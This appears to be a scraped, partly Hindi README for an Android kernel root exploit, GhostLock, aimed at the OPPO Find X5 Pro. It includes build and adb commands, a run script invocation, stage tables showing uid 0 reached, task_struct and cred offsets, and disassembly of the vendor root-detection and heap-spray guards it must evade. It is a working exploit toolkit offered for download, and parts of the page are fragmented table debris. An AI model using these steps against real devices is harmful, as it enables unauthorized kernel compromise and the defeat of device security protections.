CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SET_FS=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=n
CONFIG_UNMAP_KERNEL_AT_EL0=y
CONFIG_ARM64_VA_BITS=39
CONFIG_ARM64_SW_TTBR0_PAN=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
CONFIG_RANDOM_KMALLOC_CACHES=n
CONFIG_USER_NS=n
CONFIG_NF_TABLES=n
CONFIG_SYSVIPC=n
CONFIG_ANDROID_BINDER_IPC=y
CONFIG_KASAN=y

perf_event_paranoid = -1

Build

NDK r28c। -O1 / API 26 / -D__ARM=1 fixed हैं — ये reclaim stack-frame geometry (delta=0 calibration) को बनाए रखते हैं। इनमें से कोई भी बदलने पर डिवाइस पर फिर से calibration करना आवश्यक होगा।```bash export ANDROID_NDK_HOME=/path/to/android-ndk-r28c make # → exploit_guard ./build.sh # same, with NDK auto-detection

root@kitploit:~
मैनुअल:```bash
"$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android26-clang" \
  -D__ARM=1 -O1 -Wall -Wextra -pthread -Isrc/core -Isrc/devices/pfem10 \
  -o exploit_guard src/core/exploit.c

हर पुश पर CI बिल्ड (.github/workflows/build.yml, Ubuntu + NDK r28c, आर्टिफैक्ट exploit_guard)।

सेटअप```bash

adb push exploit_guard /data/local/tmp/e adb shell chmod 755 /data/local/tmp/e adb shell /data/local/tmp/e

root@kitploit:~
## फ़ाइलें```
src/core/                 exploit.c  payload.c  payload.h  fdset_map.h
src/lib/                  KernelSnitch — kernelsnitch.h  futex_hash.h  timeutils.h  utils.h
src/devices/pfem10/       pfem10_target.h
model/                    model.c — host-side rtmutex chain-walk model
tools/                    kdis.py  kdis_ko.py  kdis_ko_reloc.py  gen_guard_disasm.py
                          gen_exempt_table.py  mod_layout.py  sct_dump.py
                          find_task_off.py  slide_resolve.py
                          test_stamp_criterion.sh   regression test for the 0x778
                                                    landing criterion (run it after
                                                    touching uid_line/gid_line)
artifacts/                guard_post_handler.s   kill chain, relocations resolved
                          guard_relocs.txt       raw .text relocation dump
                          guard_disasm.txt       guard + heap-spray detector
                          guard_exempt_table.txt 72-slot jump table, real names
evidence/                 kill.log  notes.md — device captures and their limits
Makefile  build.sh        exploit build (-O1, API 26, NDK r28c)
run.sh                    device-side run orchestration (retry across reboots)
.github/workflows/        build.yml — cloud build + artifact

साक्ष्य

evidence/kill.log — चार रूट रनों की शब्दशः adb shell प्रतिलेख: पूरी टाइमलाइन, जिस क्षण लक्ष्य कार्य का uid 0 हो जाता है, kernelsu.ko का लोड, और उसके बाद की स्थिति। पहले हेडर ब्लॉक को पढ़ें: यह सूचीबद्ध करता है कि फ़ाइल में क्या नहीं है और क्यों।

evidence/notes.md — कर्नेल पक्ष। मॉड्यूल पते और कौन से /proc चैनल किस SELinux स्थिति में काम करते हैं; strstr कुंजी सहित पूरी g_boot_state व्युत्पत्ति; संशोधित exempt तालिका; वह कैप्चर विधि जो गायब कर्नेल आधे हिस्से को उत्पन्न करेगी; और अभी भी क्या खुला है इसकी सूची।

evidence/2026-09-18-bootA/ — वर्तमान डिज़ाइन का पहला डिवाइस रन, 13 बूट। रीबूट व्यवस्थित हैं (bootreason=reboot) और कोई panic लाइन कभी कैप्चर नहीं हुई — लेकिन इसे एक के नमूने के रूप में पढ़ें, तेरह के नहीं। जो चार रन रीबूट हुए, उनमें से दो ने खाली klog.host सहेजा, एक ने अगले बूट का लॉग सहेजा, और केवल एक विंडो ही अपने स्वयं के रीबूट को प्रशंसनीय रूप से ब्रैकेट कर सकती है। इसी तरह, एक रन का probe_state और victim readback दोनों खाली हैं (डिवाइस पहले ही चला गया था), इसलिए यह इस बारे में कोई जानकारी नहीं रखता कि उसका लेखन पहुँचा या नहीं — एक खाली फ़ील्ड "कोई परिवर्तन नहीं" नहीं है। यह निर्देशिका उस पद्धति संबंधी त्रुटि का भी दस्तावेज़ीकरण करती है जिसके बारे में जानना उचित है: dmesg -w इस डिवाइस पर एक नो-ऑप है (toybox एक बार डंप करता है और बाहर निकल जाता है), इसलिए एक पहले के रन के कर्नेल लॉग में केवल कैप्चर-पूर्व इतिहास था — "कोई [ROOTCHECK-*] नहीं" किसी चीज़ का साक्ष्य नहीं था। evidence/notes.md §6 में संशोधित poll-and-stream-to-host विधि है।

evidence/2026-09-18-cred-launder-verification.md — इस इमेज के स्वयं के डिसअसेम्बली (सामान्य 5.10 स्रोत नहीं) के विरुद्ध क्रेडेंशियल-लॉन्डरिंग प्रस्ताव का सत्यापन: commit_creds का दोहरा स्टोर, prepare_creds आवंटन और मापा गया sizeof(struct cred) = 0xA8, ऊपर वर्णित BUG_ON(cred != real_cred) विचलन जोखिम, बंद write-shape ओवरलैप स्व-जाँच, और 13 बूटों का साक्ष्य-कवरेज ऑडिट। §2.3 यथास्थान वापस लिया गया है — विचलन अव्यक्त है, रीबूट तंत्र नहीं।

evidence/2026-09-18-divergence-is-latent.md — दूसरे दौर का सत्यापन। commit_creds अपना कार्य current से लेता है (0x1867a0 mrs x20, sp_el0), exit_creds put_cred से पहले दोनों पॉइंटर को null करता है, और कच्चे कैप्चर दिखाते हैं कि पुरानी श्रृंखला ने दोनों स्लॉट में एक समान मान (0xffffff802a7e0be0) लिखा जबकि नई श्रृंखला ने दो अलग पेज लिखे। तो मानदंड पॉइंटर समानता है — "दोनों शॉट समान मान लिखते हैं", न कि "दोनों शॉट पहुँचते हैं"।

postreboot_forensics.sh — रीबूट फोरेंसिक्स जो पोलर पर निर्भर नहीं करता। मानदंड एक ही शर्त है: CONFIG_PSTORE_CONSOLE=y panic() को kmsg_dump(KMSG_DUMP_PANIC) पर कंसोल टेल को ramoops में लिखने देता है — किसी भी रीसेट से पहले — इसलिए बॉक्स फिर रीबूट होता है या हैंग करता है, यह अप्रासंगिक है। /sys/fs/pstore/ खींचता है, kernel BUG / __put_cred / cred.c के लिए grep करता है, और boot-reason स्ट्रिंग प्रिंट करता है (इतिहास प्रविष्टियों में reboot,shell / bootloader / reboot,edl प्रत्यय रहे हैं, इसलिए कारण एक अभिनेता को अलग करता है जहाँ epoch नहीं करता)।

⚠ "स्वच्छ bootreason=reboot" को "कोई panic नहीं" के रूप में न पढ़ें। QCOM पर एक SoC वॉचडॉग एसर्ट को PMIC PON ब्लॉक के माध्यम से रीसेट किया जाता है, इसलिए panic → panic_timeout=-1 → hang → watchdog → PMIC reset → clean bootreason एक स्व-संगत श्रृंखला है जो हमारे पास मौजूद साक्ष्य पर हार्डवेयर रीसेट से अप्रभेद्य है। इस रेपो का स्वयं का total_17_dump_0_pmic_17 सभी 17 असामान्य रीबूटों को pmic के लिए जिम्मेदार ठहराता है, जो वास्तव में वॉचडॉग का सामान्य आकार है, "कर्नेल नहीं" का साक्ष्य नहीं। bootreason यहाँ कुछ भी संकीर्ण नहीं करता; ramoops ही एकमात्र मानदंड है।

दो पूर्वापेक्षाएँ, अन्यथा स्क्रिप्ट का निर्णय शून्य है (铁律 8 — एक नो-सिग्नल निष्कर्ष के लिए आवश्यक है कि चैनल पहले पहुँच योग्य सिद्ध हो):

  • तीसरी स्थिति आवश्यक। /sys/fs/pstore/* केवल root के लिए है, इसलिए Enforcing के अंतर्गत adb pull और cat दोनों विफल होते हैं — और "पढ़ नहीं सकते" वही आउटपुट उत्पन्न करता है जो "पढ़ा और यह खाली था" करता है। एक द्वि-अवस्था स्क्रिप्ट उस चैनल से "pstore खाली है ⇒ panic असिद्ध" प्रिंट करती है जिसे उसने कभी खोला ही नहीं। इसलिए स्क्रिप्ट CHANNEL UNREACHABLE उत्सर्जित करती है (ls विफल, या सभी ज्ञात प्रविष्टियाँ मौजूद न होने के बजाय पढ़ने में विफल) और साथ में getenforce रिपोर्ट करती है।
  • पहले नल परीक्षण। एक स्वच्छ adb reboot के बाद तत्काल फ़ेच। यदि एक ज्ञात-अच्छा रीबूट कुछ भी पठनीय नहीं देता, तो चैनल सिद्ध नहीं है और बाद का प्रत्येक "खाली pstore" साक्ष्य नहीं है। क्रम मायने रखता है: डिवाइस बूट के कुछ ही समय बाद रिकॉर्ड को हटा देता है, इसलिए अनुक्रम है reboot → Permissive प्राप्त करें (W1) → स्क्रिप्ट तुरंत चलाएँ।

run_bootA.sh — उस एक बूट के लिए ऑर्केस्ट्रेशन, उस क्रम में जो मायने रखता है (0x778 → 0x780 उसी मान के साथ → वास्तव में इंस्टॉल किए गए cred की स्थानीय मरम्मत → पुष्टि करें → तभी poke करें)। ADB=/SER=/BIN_LOCAL= ओवरराइड करने योग्य; SAME_VALUE=1 (डिफ़ॉल्ट) समान-मान नियम लागू करता है, LAUNDER=1 gated launder सक्षम करता है, HOLD=600 समान-मान अनुक्रम के लिए आवश्यक है।

पुनःप्रयास प्रति चरण विभाजित हैं (R5/R6), क्योंकि दोनों चरणों के जोखिम प्रोफ़ाइल विपरीत हैं:

R5 डिफ़ॉल्ट रूप से ROUNDS है, R6 डिफ़ॉल्ट रूप से 1।

अनुशंसित launder रन — डिफ़ॉल्ट sprayed-page पथ, न कि CONTROL=1:```bash LAUNDER=1 R5=3 R6=1 HOLD=600 CHAINWAIT=6000 NODRAIN=1 WATCH=180 ./run_bootA.sh

root@kitploit:~
`CONTROL=1` भी एक सुसंगत युग्म उत्पन्न करेगा, लेकिन `init_cred`
पॉइंटर लिखकर, जिसका दुष्प्रभाव `init_cred+8` को **वैश्विक रूप से** दूषित करता है — और "फ्रेमवर्क मर जाता है" उन चीज़ों में से एक है जिन पर नज़र रखी जा रही है, इसलिए मापन की पृष्ठभूमि में डिवाइस-व्यापी दोष ले जाना ठीक उसी रीडिंग को धुंधला कर देता है जिसे लेने के लिए यह रन मौजूद है। स्प्रे की गई-पेज पथ की लागत केवल "दोनों शॉट्स का लगना आवश्यक" है, जिसके लिए `R5=3` है। `CONTROL=1` एकमात्र *प्रमाणित* सुसंगत युग्म और एक नियंत्रण के रूप में बना रहता है, अनुशंसित कॉन्फ़िगरेशन के रूप में नहीं।

**कौन सा पेज इंस्टॉल हुआ, यह बिना शर्त वाली पंक्ति से पढ़ा जाता है।** `run_w7` राइट वैल्यू को दो पंक्तियों पर प्रिंट करता है, और उनमें से केवल एक बिना शर्त है:```
L1793  W7[..] write value = private cred page 0x..   — spray path only
L1802  W7[..] write_value = 0x..                     — after the if/else, ALL paths

The runner पहले वाले wording से match करता था, इसलिए CONTROL=1 पर extraction खाली वापस आया, if [ -n "$CRED" ] ने repair को skip कर दिया, और same-value conjunction का अपना [ -n "$CRED" ] term उसे 0 पर रोके रखा — launder gate हमेशा के लिए मना कर देता। दोनों मामलों में एक silent no-op, एक ऐसे regex से जो दो print sites में से एक को पहचानता था। अब यह और write_target extraction (stamp criterion का input) दोनों wv_from/wt_from से होकर जाते हैं, जिन्हें criterion के साथ-साथ regression test भी exercise करता है।

दोनों streams उस चीज़ से पहले शुरू होते हैं जिसे वे measure करते हैं। uid.stream stage 1 से चलता है; cred.stream poke पर शुरू होता है, watch के बाद नहीं — poke child को उसके NO_EXEC report loop में छोड़ देता है, जो 240 × 0.5 s = 120 s है और फिर _exit(0) (exploit.c: "LT child NO-EXEC mode done (120s)"), इसलिए t+~135 s पर पुरानी placement child के जाने के बाद sampling शुरू करती थी, ठीक उसी window में जिसके लिए instrument मौजूद है। Runner आगे बढ़ने से भी मना कर देता है अगर stamp_selftest() fail हो, और जब stamp और probe_state असहमत हों तो "did not land" के बजाय ORACLE INCONSISTENT print करता है।

artifacts/guard_post_handler.s — relocations भरे हुए kill chain। पुरानी listings में adrp x9, #0 .data..ro_after_init है; bl #0x4ac oplus_root_check_succ है। अपने ही device से vendor modules pull करने के बाद tools/gen_guard_disasm.py से regenerate करें।

tools/kdis_ko.py — RELA sh_info से match होता है; इन builds पर .text relocs .rela.text.<func> में रहते हैं, इसलिए name-based lookup कुछ नहीं लौटाता।

Related

Project
JoinChang/ghostlock-oneplusreference implementation; 5.10 compact waiter
NebuSec CyberMeowfiaoriginal GhostLock research

License

GPL-3.0 — देखें LICENSE।

टूल डाउनलोड करें
DeviceOPPO Find X5 Pro (PFEM10)
SoCSM8450 / Adreno 730
OSColorOS 16.0.3.520 (CN01)
Kernel5.10.236-android12-9-o-gaf2075ad2c06
Bootloaderlocked, green
VA_BITS39 — KIMAGE_TEXT_BASE = 0xffffffc008000000
Stage
Compact waiter trigger (CMP_REQUEUE_PI → EDEADLK)works
task_struct leak (perf)works
PI write (8-byte; value = 0 या एक वैध kernel address)works
task+0x778 या task+0x780 अकेले → Uid=rootworks — लेकिन एकल-फ़ील्ड लैंडिंग कार्य को विचलित छोड़ देती है, और वह एक latent hard BUG_ON है। देखें the divergence hazard
दोनों फ़ील्ड एक ही मान से लिखे गए (एक सुसंगत युग्म)❌ sprayed page के साथ कभी उत्पन्न नहीं हुआ। केवल वैश्विक init_cred alias (09-14, CONTROL=1) के साथ देखा गया। runner अब इसे लागू करता है (SAME_VALUE=1); डिवाइस पर नहीं चलाया गया
Credential laundering (setresgid + setresuid)V12_LAUNDER=1 के पीछे लागू; डिवाइस पर नहीं चलाया गया
kernelsu.ko loadedworks
Root process survives⚠ स्थापित नहीं — नीचे देखें
Reboot mechanism❌ स्थापित नहीं। एक उम्मीदवार (the divergence) अब बहिष्कृत है; नीचे देखें
probe_state as a landing criterion❌ गलत — उपयोग न करें। तीन प्रति-उदाहरण; नीचे तालिका देखें
pstore/ramoops panic channel⚠ instrument मौजूद है; channel कभी मान्य नहीं किया गया (अभी तक कोई null test नहीं)
"The victim spins in pure userspace"⚠ अभी तक कोई रीडिंग नहीं — uid.stream अब utime/stime/nvcsw रिकॉर्ड करता है ताकि इसे जाँचा जा सके
pi-side single-pass dual write⚠ स्थापित नहीं; pi.pc/pi.left fdset_map.h में hard-coded 0 हैं
Path A (UMH / modprobe_path)STATIC_USERMODEHELPER_PATH=""
FieldOffset
real_cred / cred0x778 / 0x780
cached syscallno0xdf8
cached uid / euid / gid / egid0xe00 / 0xe08 / 0xe10 / 0xe18
flags
0x0
addr_limit0x8
ttbr00x10
preempt_count0x18
FieldOffsetFieldOffset
uid0x4cap_inheritable0x28
gid0x8cap_permitted0x30
suid0xccap_effective0x38
sgid0x10cap_bset0x40
euid0x14cap_ambient0x48
egid0x18
fsuid / fsgid0x1c / 0x20
Uid: 0 0 0 0
cred
status_gid
real_cred
lt_cred_ids_agree()
लक्ष्यलैंडिंग ओरेकल
task+0x778Uid: चौथा awk फ़ील्ड = hi32(write_target) और Gid: दूसरा awk फ़ील्ड = low32(write_target) — ऊपर का स्टैम्प; stage 3 से पहले पढ़ें
task+0x780पीड़ित का स्वयं का getuid()
ग्लोबल selinux_enforcinggetenforce
probe_state❌ मानदंड नहीं। अधिक से अधिक श्रृंखला के बारे में एक संकेत; कभी भी इस बात का प्रमाण नहीं कि कोई राइट उतरा
$4
मानों
notes.md
$3
euid
0
hi32(write_target)
stamp_ok()
कहीं भी कोई त्रुटि नहीं
run_bootA.sh
#हुकट्रिगरक्रिया
1oplus_root_check_post_handler, sys_exit tracepointकोई id नीचे उतरा, या addr_limit == KERNEL_DSoplus_root_killed → printk + do_exit(SIGKILL); और oplus_root_check_succ → kevent_send_to_user
2oplus_exe_block_ret_handler, sys_exit लेकिन केवल execve (221) के लिएd_path(mm->exe_file) /data, /data/local/tmp, /data/nativetest, /data/nativetest64 से शुरू होता हैoplus_RWO_root_check → printk + kevent_send_to_user (कोई do_exit नहीं)
3oplus_secure_harden kretprobessetsockopt optname ∈ {41,42,48}, setxattr, /proc/cpuinfo, SELinux policy reloadoplus_heapspray_check → kevent_send_to_user
143 setregid144 setgid145 setreuid146 setuid
147 setresuid149 setresgid203 connect204 getsockname
208 setsockopt210 shutdown213 readahead214 brk
kretprobeहुक्सफ़िल्टर
socket_kretprobeip_setsockoptregs[1] ∈ {41, 42, 48}
socket_ip6_kretprobedo_ipv6_setsockoptregs[1] ∈ {41, 42}
cpuinfo_kretprobecpuinfo_open—
setxattr_kretprobesetxattr—
sepolicy_reload_kretprobespolicy_reload—
ldr w8, [x1, #8] ; regs[1]
cmp w8, #0x29 ; 41 IP_MSFILTER
b.eq #0xd58
cmp w8, #0x30 ; 48 MCAST_MSFILTER
b.eq #0xd60
cmp w8, #0x2a ; 42 MCAST_JOIN_GROUP
b.ne #0xd68 ; else → return, no call
bl oplus_heapspray_check
चरणपुनःप्रयास सुरक्षा
R5चरण 5, task+0x778सुरक्षित — एक मिस कुछ भी इंस्टॉल नहीं करता, और स्टैम्प मानदंड एक विफल राउंड को पठनीय बनाता है, इसलिए एक और शॉट बस एक और प्रयास है। R5=3 प्रति-शॉट हिट दर को ~p से ~1−(1−p)³ तक ले जाता है।
R6चरण 6, task+0x780सुरक्षित नहीं, और आवश्यक भी नहीं — यह केवल चरण 5 के पहुँचने के बाद चलता है, इसलिए एक पुनःप्रयास पहले से ही विचलित कार्य पर शूट करता है: एक दूसरा, भिन्न पेज पहुँचाने का एक और मौका, बिना किसी लाभ के, क्योंकि एक के पहुँचने से जोड़ी पूरी हो जाती है। इसे 1 पर रखें।